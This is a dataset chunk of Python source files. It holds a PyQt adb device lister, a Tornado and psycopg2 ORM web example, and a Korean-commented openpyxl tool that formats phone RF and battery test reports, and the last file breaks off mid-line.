Data:', itmData, 'Item Checkbox State:', item.checkState(0))\n\nif __name__ == '__main__':\n what = subprocess.Popen(['adb', 'devices', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, errs = what.communicate()\n out = str(out, 'utf-8')\n outs = out.split()\n del outs[0:4]\n length = len(outs)\n n = length/6\n struct = [[] for i in range(int(n))]\n for i in range(int(n)):\n print(n, i)\n struct[i] = outs[i*6:(i+1)*6]\n print(struct[i])\n app = QApplication(sys.argv)\n MyApp()","sub_path":"PythGUI/gui2.py","file_name":"gui2.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"617248015","text":"import tornado.ioloop\nimport tornado.web\nimport psycopg2.extras\nimport notorm\nimport tornado.autoreload\n\nclass Game(notorm.record):\n _fields = {'id':None,\n 'name':None\n }\n\n insert_qry = \"\"\"\n insert into game (name)\n values(%(name)s)\n returning id\n \"\"\"\n\n update_qry = \"\"\"\n update game set name=%(name)s where id = %(id)s\n \"\"\"\n\n @classmethod\n def get(cls, game_id):\n cursor = notorm.db.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor)\n cursor.execute(\"\"\"select game.*::game from game where id = %(game_id)s\"\"\",\n {'game_id': game_id})\n\n results = cursor.fetchall()\n games = notorm.build_relationships(results, 'game')\n if not games:\n return None\n return games[0]\n\n @classmethod\n def get_all(cls):\n cursor = notorm.db.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor)\n cursor.execute(\"\"\"select game.*::game from game order by name\"\"\")\n\n results = cursor.fetchall()\n games = notorm.build_relationships(results, 'game')\n return games\n\nclass GameComposite(psycopg2.extras.CompositeCaster):\n def make(self, values):\n d = dict(zip(self.attnames, values))\n return Game(**d)\n\nclass ExampleRequestHandler(tornado.web.RequestHandler):\n def on_finish(self):\n notorm.db.commit()\n\n def log_exception(self, typ, value, tb):\n print(\"Exception\")\n notorm.db.rollback()\n return super(ExampleRequestHandler, self).log_exception(typ, value, tb)\n\nclass MainHandler(ExampleRequestHandler):\n def get(self):\n games = Game.get_all()\n self.render(\"../main.html\", games=games)\n\nclass GameHandler(ExampleRequestHandler):\n def get(self, game_id=None):\n if game_id:\n game = Game.get(game_id)\n else:\n game = Game()\n self.render(\"../edit.html\", game=game)\n\n def post(self, game_id=None):\n if game_id:\n game = Game.get(game_id)\n else:\n game = Game()\n game.name = self.get_argument('name')\n game.save()\n self.redirect(\"/\")\n\ndef make_app():\n return tornado.web.Application([\n (r\"/\", MainHandler),\n (r\"/game/new\", GameHandler),\n (r\"/game/([0-9]+)\", GameHandler)\n ])\n\nif __name__ == \"__main__\":\n notorm.db = psycopg2.connect(\"dbname=notorm_example user=dbuser\")\n\n cursor = notorm.db.cursor()\n psycopg2.extras.register_composite('game', cursor, globally=True, factory = GameComposite)\n app = make_app()\n app.listen(8888)\n tornado.autoreload.start(tornado.ioloop.IOLoop.current())\n tornado.ioloop.IOLoop.current().start()","sub_path":"examples/tornadosync/tornadosync.py","file_name":"tornadosync.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"285717113","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thr Oct 18 14:25:12 2019\n@author: TestEnC hanrim lee\n\n\"\"\"\nimport os\nimport sys\nimport re\nimport openpyxl\n# import pkg_resources.py2_warn\nfrom os.path import expanduser\nimport threading\n\n#from konlpy.tag import Komoran\nfrom time import sleep\nfrom datetime import datetime\n\n#import pytagcloud\nfrom PyQt5.QtCore import QThread, pyqtSignal\n#selenium library\nfrom openpyxl.styles import Alignment, Font, NamedStyle, PatternFill\nfrom openpyxl import formatting, styles, Workbook\nfrom openpyxl.styles.borders import Border, Side\n\nclass Formater(QThread):\n\n print_flag = pyqtSignal(str)\n end_flag = pyqtSignal()\n fileCheck_flag = pyqtSignal()\n progress_flag = pyqtSignal()\n count_flag = pyqtSignal()\n dict_result = None\n tot_count = 0\n\n def __init__(self, filePath, opFlag, modeFlag, parent=None):\n QThread.__init__(self, parent)\n\n self.file_names = filePath\n self.list_files = self.file_names.split(\",\")\n self.list_out_files = []\n self.dict_out = {}\n self.dict_readData = {}\n # self.list_sheet_names = []\n\n self.opFlag = opFlag\n self.modeFlag = modeFlag\n self.home = expanduser(\"~\")\n\n self.end_count = \"n\"\n self.totalRows = 0\n self.currentRow = 0\n self.current_path = os.getcwd()\n self.battery_spec = 0.0\n\n # style fill pattern\n # FF0000 red\n # 0000FF blue\n\n self.brown_fill = PatternFill(start_color='DDD9C4', end_color='DDD9C4', fill_type='solid')\n self.light_brown_fill = PatternFill(start_color='EEECE1', end_color='EEECE1', fill_type='solid')\n self.gray_fill = PatternFill(start_color='E7E6E6', end_color='E7E6E6', fill_type='solid')\n self.dark_gray_fill = PatternFill(start_color='D9D9D9', end_color='D9D9D9', fill_type='solid')\n self.light_gray_fill = PatternFill(start_color='F2F2F2', end_color='F2F2F2', fill_type='solid')\n self.apricot_fill = PatternFill(start_color='FDE9D9', end_color='FDE9D9', fill_type='solid')\n self.skyBlue_fill = PatternFill(start_color='DCE6F1', end_color='DCE6F1', fill_type='solid')\n self.yellow_fill = PatternFill(start_color='FFFF00', end_color='FFFF00', fill_type='solid')\n self.orange_fill = PatternFill(start_color='FFC000', end_color='FFC000', fill_type='solid')\n\n # style font color and size\n self.top_font = Font(name='맑은 고딕', size=12, bold=True, color='2B2B2B')\n self.index_font = Font(name='맑은 고딕', size=11, bold=True, color='2B2B2B')\n self.value_font = Font(name='맑은 고딕', size=11, bold=False, color='2B2B2B')\n self.value2_font = Font(name='맑은 고딕', size=10, bold=True, color='2B2B2B')\n self.f2_value_font = Font(name='맑은 고딕', size=10, bold=False, color='2B2B2B')\n self.f2_blue_font = Font(name='맑은 고딕', size=10, bold=False, color='0000FF')\n self.f2_red_font = Font(name='맑은 고딕', size=10, bold=False, color='FF0000')\n\n # style Alignment\n self.general_alignment = Alignment(wrap_text=True, horizontal=\"center\", vertical=\"center\")\n self.top_alignment = Alignment(wrap_text=False, horizontal=\"left\", vertical=\"center\")\n self.top_alignment_2 = Alignment(wrap_text=True, horizontal=\"left\", vertical=\"center\")\n self.top_alignment_3 = Alignment(wrap_text=True, horizontal=\"left\", vertical=\"top\")\n\n # style border\n self.thin_border = Border(left=Side(style='thin'), right=Side(style='thin'), top=Side(style='thin'), bottom=Side(style='thin'))\n\n # ftp 관련 변수 및 설정\n # self.hostname = '192.168.0.108'\n # self.port = 21\n # self.username = 'voc'\n # self.password = 'testenc@01'\n\n # 분석 처리 개수 체크 함수\n def getCountRows(self):\n\n while True:\n if self.end_count is \"n\":\n sleep(0.5)\n self.count_flag.emit()\n else:\n break\n\n # 로그 문자 처리 함수\n def setPrintText(self, text):\n\n strToday = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n text = self.find_between(text, \"/s\", \"/e\")\n print_text = strToday+\":\\n\"+text+\"\\n\"\n self.print_flag.emit(\"{}\".format(print_text))\n\n # 쓰레드 종료 함수\n def stop(self):\n sleep(0.5)\n self.terminate()\n\n # 특수 문자 제거 함수\n def removeString(self, text):\n\n tempText = re.sub('[-=+,#/\\?^$@*\\\"※~&%ㆍ!』\\\\‘|\\(\\)\\[\\]\\<\\>\\{\\}`><]\\'', '', text)\n return tempText\n\n # 문장 앞 부터 조건에 맞는 문자열 substring\n def find_between(self, s, first, last):\n try:\n returnData = \"\"\n start = s.index(first)+len(first)\n end = s.index(last, start)\n returnData = s[start:end]\n return returnData\n except ValueError:\n return returnData\n\n # 문장 뒤 부터 조건에 맞는 문자열 substring\n def find_between_r(self, s, first, last ):\n try:\n returnData = \"\"\n start = s.rindex(first)+len(first)\n end = s.rindex(last, start)\n returnData = s[start:end]\n return returnData\n except ValueError:\n return returnData\n\n # float num check a point\n def check_num(self, num):\n\n return_data = None\n if num is None or num == '':\n return_data = '-'\n else:\n try:\n return_data = '%.2f'%float(num)\n except:\n return_data = str(num)\n\n return return_data\n\n # check calculate comparison\n def cal_comparison(self, standard, measure):\n\n return_data = None\n try:\n return_data = self.check_num(abs(round(abs(float(measure)) - float(standard), 2)))\n except:\n return_data = '-'\n\n return return_data\n\n # check convert num available\n def isNumber(self, string_data):\n\n try:\n temp_data = float(string_data)\n return True\n except:\n return False\n\n # check convert num available\n def check_empty(self, string_data):\n\n return_data = None\n if string_data is None or string_data == '' or string_data.lower() in ['n/a', 'na', 'nt', 'n/t']:\n return_data = '-'\n else:\n return_data = str(string_data)\n\n return return_data\n\n # summary Tab\n def summary_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n temp_data = {}\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n\n # get data from wb_input\n sheet_in = wb_input['Summary']\n temp_data['팻네임 / 모델명'] = sheet_in['C5'].value\n temp_data['OS 및 Binary Version'] = sheet_in['C8'].value + \"/\" + sheet_in['C6'].value\n temp_data['Chipset (AP / CP)'] = sheet_in['K6'].value\n temp_data['가로 폭 (mm) / Display Size (inch)'] = sheet_in['K7'].value\n temp_data['배터리 용량 (mAh)'] = str(sheet_in['K8'].value)+'mAh'\n self.battery_spec = float(sheet_in['K8'].value)\n temp_data['검증 차수'] = sheet_in['C9'].value\n temp_data['검증 기간'] = sheet_in['K5'].value\n\n #option setting wb.output\n sheet_out = wb_output['검증결과요약']\n # sheet row 3 handle\n sheet_out.merge_cells('B3:C3')\n sheet_out['B3'] = \"1. 단말 기본 정보\"\n # sheet row 4 handle\n sheet_out.merge_cells('B4:C4')\n sheet_out.merge_cells('D4:E4')\n sheet_out['B4'] = \"팻네임 / 모델명\"\n sheet_out['D4'] = temp_data['팻네임 / 모델명']\n # sheet row 5 handle\n sheet_out.merge_cells('B5:C5')\n sheet_out.merge_cells('D5:E5')\n sheet_out['B5'] = \"OS 및 Binary Version\"\n sheet_out['D5'] = temp_data['OS 및 Binary Version']\n # sheet row 6 handle\n sheet_out.merge_cells('B6:C6')\n sheet_out.merge_cells('D6:E6')\n sheet_out['B6'] = \"Chipset (AP / CP)\"\n sheet_out['D6'] = temp_data['Chipset (AP / CP)']\n # sheet row 7 handle\n sheet_out.merge_cells('B7:C7')\n sheet_out.merge_cells('D7:E7')\n sheet_out['B7'] = \"가로 폭 (mm) / Display Size (inch)\"\n sheet_out['D7'] = temp_data['가로 폭 (mm) / Display Size (inch)']\n # sheet row 7 handle\n sheet_out.merge_cells('B8:C8')\n sheet_out.merge_cells('D8:E8')\n sheet_out['B8'] = \"배터리 용량 (mAh)\"\n sheet_out['D8'] = temp_data['배터리 용량 (mAh)']\n # sheet row 10 handle\n sheet_out.merge_cells('B10:C10')\n sheet_out['B10'] = \"2. 검증 차수 및 검증 기간\"\n # sheet row 11 handle\n sheet_out.merge_cells('B11:C11')\n sheet_out.merge_cells('D11:E11')\n sheet_out['B11'] = \"검증 차수\"\n sheet_out['D11'] = temp_data['검증 차수']\n # sheet row 12 handle\n sheet_out.merge_cells('B12:C12')\n sheet_out.merge_cells('D12:E12')\n sheet_out['B12'] = \"검증 기간\"\n sheet_out['D12'] = temp_data['검증 기간']\n # sheet row 14 handle\n sheet_out.merge_cells('B14:D14')\n sheet_out['B14'] = '3. 검증 결과 (항목수 : 00, Test Case 수 : 78)'\n # sheet row 15 handle\n sheet_out.merge_cells('B15:C15')\n sheet_out['B15'] = '항목'\n sheet_out['D15'] = 'Pass'\n sheet_out['E15'] = 'Fail'\n # sheet row 16 handle\n sheet_out.merge_cells('B16:B19')\n sheet_out['B16'] = 'RF성능'\n sheet_out['C16'] = 'TRP'\n # sheet row 17 handle\n sheet_out['C17'] = 'TIS'\n # sheet row 18 handle\n sheet_out['C18'] = '속도'\n # sheet row 19 handle\n sheet_out['C19'] = 'Call Setup Test'\n # sheet row 20 handle\n sheet_out.merge_cells('B20:C20')\n sheet_out['B20'] = 'MOS'\n # sheet row 21 handle\n sheet_out.merge_cells('B21:C21')\n sheet_out['B21'] = '배터리소모전류 (시간)'\n # sheet row 22 handle\n sheet_out.merge_cells('B22:C22')\n sheet_out['B22'] = '주파수동조'\n # sheet row 23 handle\n sheet_out.merge_cells('B23:C23')\n sheet_out['B23'] = '발열'\n sheet_out['D23'] = ''\n sheet_out['E23'] = ''\n # sheet row 24 handle\n sheet_out.merge_cells('B24:C24')\n sheet_out['B24'] = '소계'\n sheet_out['D24'] = ''\n sheet_out['E24'] = ''\n # sheet row 25 handle\n sheet_out.merge_cells('B25:C25')\n sheet_out.merge_cells('D25:E25')\n sheet_out['B25'] = '점수 (가/감점)'\n sheet_out['D25'] = '86.9(+12)'\n # sheet row 26 handle\n sheet_out.merge_cells('B26:C26')\n sheet_out.merge_cells('D26:E26')\n sheet_out['B26'] = '배터리소모전류 (DOU, Test case : 35)'\n sheet_out['D26'] = '1.44일'\n\n # sheet row 26 handle\n sheet_out.merge_cells('B28:E28')\n sheet_out.merge_cells('B29:E29')\n sheet_out['B28'] = '4. 특이사항'\n sheet_out['B29'] = ''\n\n self.setPrintText('/s {}번 파일 \"검증결과요약\" 테이터 입력 완료 /e'.format(idx+1))\n\n if self.opFlag:\n\n # all cell aligment adjust\n for mCell in sheet_out[\"B3:E26\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n\n for mCell in sheet_out[\"B29:E29\"]:\n for cell in mCell:\n cell.alignment = self.top_alignment_3\n\n # each coloum width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E']\n sheet_width_list = [3.38, 20, 20, 20, 20]\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[29].height = 85.5\n\n # Set style on Cell\n # row 3\n sheet_out['B3'].font = self.top_font\n sheet_out['B3'].alignment = self.top_alignment\n # row 4\n sheet_out['B4'].font = self.index_font\n sheet_out['B4'].fill = self.brown_fill\n sheet_out['B4'].border = self.thin_border\n sheet_out['D4'].font = self.index_font\n sheet_out['D4'].border = self.thin_border\n sheet_out['C4'].border = self.thin_border\n sheet_out['E4'].border = self.thin_border\n # row 5\n sheet_out['B5'].font = self.index_font\n sheet_out['B5'].fill = self.brown_fill\n sheet_out['B5'].border = self.thin_border\n sheet_out['D5'].font = self.index_font\n sheet_out['D5'].border = self.thin_border\n sheet_out['C5'].border = self.thin_border\n sheet_out['E5'].border = self.thin_border\n # row 6\n sheet_out['B6'].font = self.index_font\n sheet_out['B6'].fill = self.brown_fill\n sheet_out['B6'].border = self.thin_border\n sheet_out['D6'].font = self.index_font\n sheet_out['D6'].border = self.thin_border\n sheet_out['C6'].border = self.thin_border\n sheet_out['E6'].border = self.thin_border\n # row 7\n sheet_out['B7'].font = self.index_font\n sheet_out['B7'].fill = self.brown_fill\n sheet_out['B7'].border = self.thin_border\n sheet_out['D7'].font = self.index_font\n sheet_out['D7'].border = self.thin_border\n sheet_out['C7'].border = self.thin_border\n sheet_out['E7'].border = self.thin_border\n # row 8\n sheet_out['B8'].font = self.index_font\n sheet_out['B8'].fill = self.brown_fill\n sheet_out['B8'].border = self.thin_border\n sheet_out['D8'].font = self.index_font\n sheet_out['D8'].border = self.thin_border\n sheet_out['C8'].border = self.thin_border\n sheet_out['E8'].border = self.thin_border\n # row 10\n sheet_out['B10'].font = self.top_font\n sheet_out['B10'].alignment = self.top_alignment\n # row 11\n sheet_out['B11'].font = self.index_font\n sheet_out['B11'].fill = self.brown_fill\n sheet_out['B11'].border = self.thin_border\n sheet_out['C11'].font = self.index_font\n sheet_out['C11'].border = self.thin_border\n sheet_out['D11'].border = self.thin_border\n sheet_out['D11'].font = self.index_font\n sheet_out['E11'].border = self.thin_border\n\n # row 12\n sheet_out['B12'].font = self.index_font\n sheet_out['B12'].fill = self.brown_fill\n sheet_out['B12'].border = self.thin_border\n sheet_out['C12'].font = self.index_font\n sheet_out['C12'].border = self.thin_border\n sheet_out['D12'].border = self.thin_border\n sheet_out['D12'].font = self.index_font\n sheet_out['E12'].border = self.thin_border\n # row 14\n sheet_out['B14'].font = self.top_font\n sheet_out['B14'].alignment = self.top_alignment\n # row 15\n sheet_out['B15'].font = self.index_font\n sheet_out['B15'].fill = self.brown_fill\n sheet_out['B15'].border = self.thin_border\n sheet_out['D15'].font = self.index_font\n sheet_out['D15'].fill = self.brown_fill\n sheet_out['D15'].border = self.thin_border\n sheet_out['E15'].font = self.index_font\n sheet_out['E15'].fill = self.brown_fill\n sheet_out['E15'].border = self.thin_border\n sheet_out['C15'].border = self.thin_border\n # row 16\n sheet_out['B16'].font = self.index_font\n sheet_out['B16'].fill = self.gray_fill\n sheet_out['B16'].border = self.thin_border\n sheet_out['C16'].font = self.index_font\n sheet_out['C16'].fill = self.gray_fill\n sheet_out['C16'].border = self.thin_border\n sheet_out['D16'].font = self.index_font\n sheet_out['D16'].border = self.thin_border\n sheet_out['E16'].font = self.index_font\n sheet_out['E16'].border = self.thin_border\n # row 17\n sheet_out['B17'].border = self.thin_border\n sheet_out['C17'].font = self.index_font\n sheet_out['C17'].fill = self.gray_fill\n sheet_out['C17'].border = self.thin_border\n sheet_out['D17'].font = self.index_font\n sheet_out['D17'].border = self.thin_border\n sheet_out['E17'].font = self.index_font\n sheet_out['E17'].border = self.thin_border\n # row 18\n sheet_out['B18'].border = self.thin_border\n sheet_out['C18'].font = self.index_font\n sheet_out['C18'].fill = self.gray_fill\n sheet_out['C18'].border = self.thin_border\n sheet_out['D18'].font = self.index_font\n sheet_out['D18'].border = self.thin_border\n sheet_out['E18'].font = self.index_font\n sheet_out['E18'].border = self.thin_border\n # row 19\n sheet_out['B19'].border = self.thin_border\n sheet_out['C19'].font = self.index_font\n sheet_out['C19'].fill = self.gray_fill\n sheet_out['C19'].border = self.thin_border\n sheet_out['D19'].font = self.index_font\n sheet_out['D19'].border = self.thin_border\n sheet_out['E19'].font = self.index_font\n sheet_out['E19'].border = self.thin_border\n # row 20\n sheet_out['B20'].font = self.index_font\n sheet_out['B20'].fill = self.gray_fill\n sheet_out['B20'].border = self.thin_border\n sheet_out['D20'].font = self.index_font\n sheet_out['D20'].border = self.thin_border\n sheet_out['E20'].font = self.index_font\n sheet_out['E20'].border = self.thin_border\n sheet_out['C20'].border = self.thin_border\n # row 21\n sheet_out['B21'].font = self.index_font\n sheet_out['B21'].fill = self.gray_fill\n sheet_out['B21'].border = self.thin_border\n sheet_out['D21'].font = self.index_font\n sheet_out['D21'].border = self.thin_border\n sheet_out['E21'].font = self.index_font\n sheet_out['E21'].border = self.thin_border\n sheet_out['C21'].border = self.thin_border\n # row 22\n sheet_out['B22'].font = self.index_font\n sheet_out['B22'].fill = self.gray_fill\n sheet_out['B22'].border = self.thin_border\n sheet_out['D22'].font = self.index_font\n sheet_out['D22'].border = self.thin_border\n sheet_out['E22'].font = self.index_font\n sheet_out['E22'].border = self.thin_border\n sheet_out['C22'].border = self.thin_border\n # row 23\n sheet_out['B23'].font = self.index_font\n sheet_out['B23'].fill = self.gray_fill\n sheet_out['B23'].border = self.thin_border\n sheet_out['D23'].font = self.index_font\n sheet_out['D23'].border = self.thin_border\n sheet_out['E23'].font = self.index_font\n sheet_out['E23'].border = self.thin_border\n sheet_out['C23'].border = self.thin_border\n # row 24\n sheet_out['B24'].font = self.index_font\n sheet_out['B24'].fill = self.light_brown_fill\n sheet_out['B24'].border = self.thin_border\n sheet_out['D24'].font = self.index_font\n sheet_out['D24'].fill = self.light_brown_fill\n sheet_out['D24'].border = self.thin_border\n sheet_out['C24'].border = self.thin_border\n sheet_out['E24'].border = self.thin_border\n sheet_out['E24'].fill = self.light_brown_fill\n # row 25\n sheet_out['B25'].font = self.index_font\n sheet_out['B25'].fill = self.light_brown_fill\n sheet_out['B25'].border = self.thin_border\n sheet_out['D25'].font = self.index_font\n sheet_out['D25'].fill = self.light_brown_fill\n sheet_out['D25'].border = self.thin_border\n sheet_out['C25'].border = self.thin_border\n sheet_out['E25'].border = self.thin_border\n # row 26\n sheet_out['B26'].font = self.index_font\n sheet_out['B26'].fill = self.gray_fill\n sheet_out['B26'].border = self.thin_border\n sheet_out['D26'].font = self.index_font\n sheet_out['D26'].fill = self.light_brown_fill\n sheet_out['D26'].border = self.thin_border\n sheet_out['C25'].border = self.thin_border\n sheet_out['E25'].border = self.thin_border\n # row 28\n sheet_out['B28'].font = self.index_font\n # row 29\n sheet_out['B29'].font = self.index_font\n sheet_out['B29'].border = self.thin_border\n sheet_out['C29'].border = self.thin_border\n sheet_out['D29'].border = self.thin_border\n sheet_out['E29'].border = self.thin_border\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"검증요약결과\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 시험결과요약 Tab\n def test_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n temp_data = []\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n\n # get data from wb_input\n sheet_in = wb_input['시험결과요약']\n for i in range(6, 28):\n temp_data.append([sheet_in['F'+str(i)].value, sheet_in['G'+str(i)].value, sheet_in['H'+str(i)].value])\n\n #option setting wb.output\n sheet_out = wb_output['시험결과요약']\n # sheet row 2 handle\n sheet_out.merge_cells('B2:H2')\n sheet_out['B2'] = 'H/W 검증결과 요약'\n\n # sheet row 4 and 5 handle\n sheet_out.merge_cells('B4:C5')\n sheet_out['B4'] = \"항목\"\n sheet_out.merge_cells('D4:E5')\n sheet_out['D4'] = 'Test case'\n sheet_out.merge_cells('F4:H4')\n sheet_out['F4'] = '결과'\n sheet_out['F5'] = 'Pass'\n sheet_out['G5'] = 'Fail'\n sheet_out['H5'] = '점수'\n\n # sheet 6 ~ 20 handle\n sheet_out.merge_cells('B6:B20')\n sheet_out['B6'] = sheet_in['B6'].value\n sheet_out.merge_cells('C6:C10')\n sheet_out['C6'] = sheet_in['C6'].value\n sheet_out.merge_cells('C11:C15')\n sheet_out['C11'] = sheet_in['C11'].value\n sheet_out.merge_cells('C16:C19')\n sheet_out['C16'] = sheet_in['C16'].value\n sheet_out['C20'] = sheet_in['C20'].value\n sheet_out.merge_cells('D6:D7')\n sheet_out['D6'] = sheet_in['D6'].value\n sheet_out.merge_cells('D8:D9')\n sheet_out['D8'] = sheet_in['D8'].value\n sheet_out['D10'] = sheet_in['D10'].value\n sheet_out.merge_cells('D11:D12')\n sheet_out['D11'] = sheet_in['D11'].value\n sheet_out.merge_cells('D13:D14')\n sheet_out['D13'] = sheet_in['D13'].value\n sheet_out['D15'] = sheet_in['D15'].value\n sheet_out.merge_cells('D16:D17')\n sheet_out['D16'] = sheet_in['D16'].value\n sheet_out.merge_cells('D18:D19')\n sheet_out['D18'] = sheet_in['D18'].value\n sheet_out['D20'] = sheet_in['D20'].value\n sheet_out['E6'] = sheet_in['E6'].value\n sheet_out['E7'] = sheet_in['E7'].value\n sheet_out['E8'] = sheet_in['E8'].value\n sheet_out['E9'] = sheet_in['E9'].value\n sheet_out['E10'] = sheet_in['E10'].value\n sheet_out['E11'] = sheet_in['E11'].value\n sheet_out['E12'] = sheet_in['E12'].value\n sheet_out['E13'] = sheet_in['E13'].value\n sheet_out['E14'] = sheet_in['E14'].value\n sheet_out['E15'] = sheet_in['E15'].value\n sheet_out['E16'] = sheet_in['E16'].value\n sheet_out['E17'] = sheet_in['E17'].value\n sheet_out['E18'] = sheet_in['E18'].value\n sheet_out['E19'] = sheet_in['E19'].value\n sheet_out['E20'] = sheet_in['E20'].value\n\n # sheet 21 ~ 24 handle\n sheet_out.merge_cells('B21:C24')\n sheet_out['B21'] = sheet_in['B21'].value\n sheet_out.merge_cells('D21:D22')\n sheet_out['D21'] = sheet_in['D21'].value\n sheet_out.merge_cells('D23:D24')\n sheet_out['D23'] = sheet_in['D23'].value\n sheet_out['E21'] = sheet_in['E21'].value\n sheet_out['E22'] = sheet_in['E22'].value\n sheet_out['E23'] = sheet_in['E23'].value\n sheet_out['E24'] = sheet_in['E24'].value\n\n #sheet 25 ~ 28 handle\n sheet_out.merge_cells('B25:C25')\n sheet_out['B25'] = sheet_in['B25'].value\n sheet_out.merge_cells('D25:E25')\n sheet_out['D25'] = sheet_in['D25'].value\n sheet_out.merge_cells('B26:C26')\n sheet_out['B26'] = sheet_in['B26'].value\n sheet_out.merge_cells('D26:E26')\n sheet_out['D26'] = sheet_in['D26'].value\n sheet_out.merge_cells('B27:C27')\n sheet_out['B27'] = '발열'\n sheet_out.merge_cells('D27:E27')\n sheet_out['D27'] = 'Live Streaming (충전/미충전), 게임(충전/미충전)'\n sheet_out.merge_cells('B28:E28')\n sheet_out['B28'] = sheet_in['B27'].value\n sheet_out.merge_cells('B29:C29')\n sheet_out['B29'] = sheet_in['B28'].value\n sheet_out.merge_cells('D29:E29')\n sheet_out['D29'] = sheet_in['D28'].value\n sheet_out.merge_cells('F29:H29')\n sheet_out['F29'] = sheet_in['F28'].value\n\n self.setPrintText('/s {}번 파일 \"시험결과요약\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n for i in range(6, 27):\n\n sheet_out['F' + str(i)] = temp_data[i-6][0]\n sheet_out['G' + str(i)] = temp_data[i-6][1]\n sheet_out['H' + str(i)] = temp_data[i-6][2]\n\n sheet_out['F28'] = temp_data[21][0]\n sheet_out['G28'] = temp_data[21][1]\n sheet_out['H28'] = temp_data[21][2]\n\n if self.opFlag:\n\n # all cell aligment adjust\n for mCell in sheet_out[\"B4:H29\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"B4:H29\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"B4:H29\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['B2'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n sheet_out['B2'].alignment = self.general_alignment\n\n # each coloum width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H']\n sheet_width_list = [3.38, 9, 14.25, 8.5, 36.75, 11.25, 11.25, 11.25]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[2].height = 26.25\n\n # Set Pattern Fill\n sheet_out['B4'].fill = self.brown_fill\n sheet_out['D4'].fill = self.brown_fill\n sheet_out['F4'].fill = self.brown_fill\n sheet_out['F5'].fill = self.brown_fill\n sheet_out['G5'].fill = self.brown_fill\n sheet_out['H5'].fill = self.brown_fill\n\n for i in range(6, 28):\n sheet_out['B' + str(i)].fill = self.gray_fill\n sheet_out['C' + str(i)].fill = self.gray_fill\n sheet_out['D' + str(i)].fill = self.gray_fill\n sheet_out['E' + str(i)].fill = self.gray_fill\n\n sheet_out['B28'].fill = self.dark_gray_fill\n sheet_out['F28'].fill = self.dark_gray_fill\n sheet_out['G28'].fill = self.dark_gray_fill\n sheet_out['H28'].fill = self.dark_gray_fill\n sheet_out['B29'].fill = self.gray_fill\n sheet_out['D29'].fill = self.gray_fill\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"시험결과요약\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # TRP Tab\n def trp_generate_data(self):\n # 절대값 abs\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n list_5g_trp = []\n list_lte_trp = []\n list_wcdma_trp = []\n\n # get data from wb_input\n sheet_in = wb_input['5G OTA']\n list_5g_trp.append(self.check_num(sheet_in['J5'].value))\n list_5g_trp.append(self.check_num(sheet_in['J6'].value))\n\n sheet_in = wb_input['LTE OTA']\n list_lte_trp.append(self.check_num(sheet_in['K17'].value))\n list_lte_trp.append(self.check_num(sheet_in['C17'].value))\n list_lte_trp.append(self.check_num(sheet_in['C10'].value))\n list_lte_trp.append(self.check_num(sheet_in['G17'].value))\n list_lte_trp.append(self.check_num(sheet_in['G10'].value))\n list_lte_trp.append(self.check_num(sheet_in['M17'].value))\n list_lte_trp.append(self.check_num(sheet_in['E17'].value))\n list_lte_trp.append(self.check_num(sheet_in['E10'].value))\n list_lte_trp.append(self.check_num(sheet_in['I17'].value))\n list_lte_trp.append(self.check_num(sheet_in['I10'].value))\n\n sheet_in = wb_input['WCDMA OTA']\n list_wcdma_trp.append(self.check_num(sheet_in['D9'].value))\n\n #option setting wb.output\n sheet_out = wb_output['TRP']\n # sheet row 2 handle\n sheet_out.merge_cells('A1:C1')\n sheet_out['A1'] = 'TRP 결과'\n\n # 3~4 row\n sheet_out['A3'] = '▣ SISO TRP'\n sheet_out['A4'] = ' - 5G'\n\n # sheet row 5 and 7 handle\n sheet_out['A5'] = '구분'\n sheet_out['B5'] = '기준(RHP)'\n sheet_out['C5'] = '측정결과'\n sheet_out['D5'] = '비교'\n sheet_out['A6'] = 'CP-OFDM (n78)'\n sheet_out['B6'] = '16.86dBm(V50S)'\n sheet_out['C6'] = list_5g_trp[0]+'dBm'\n # sheet_out['D6'] = 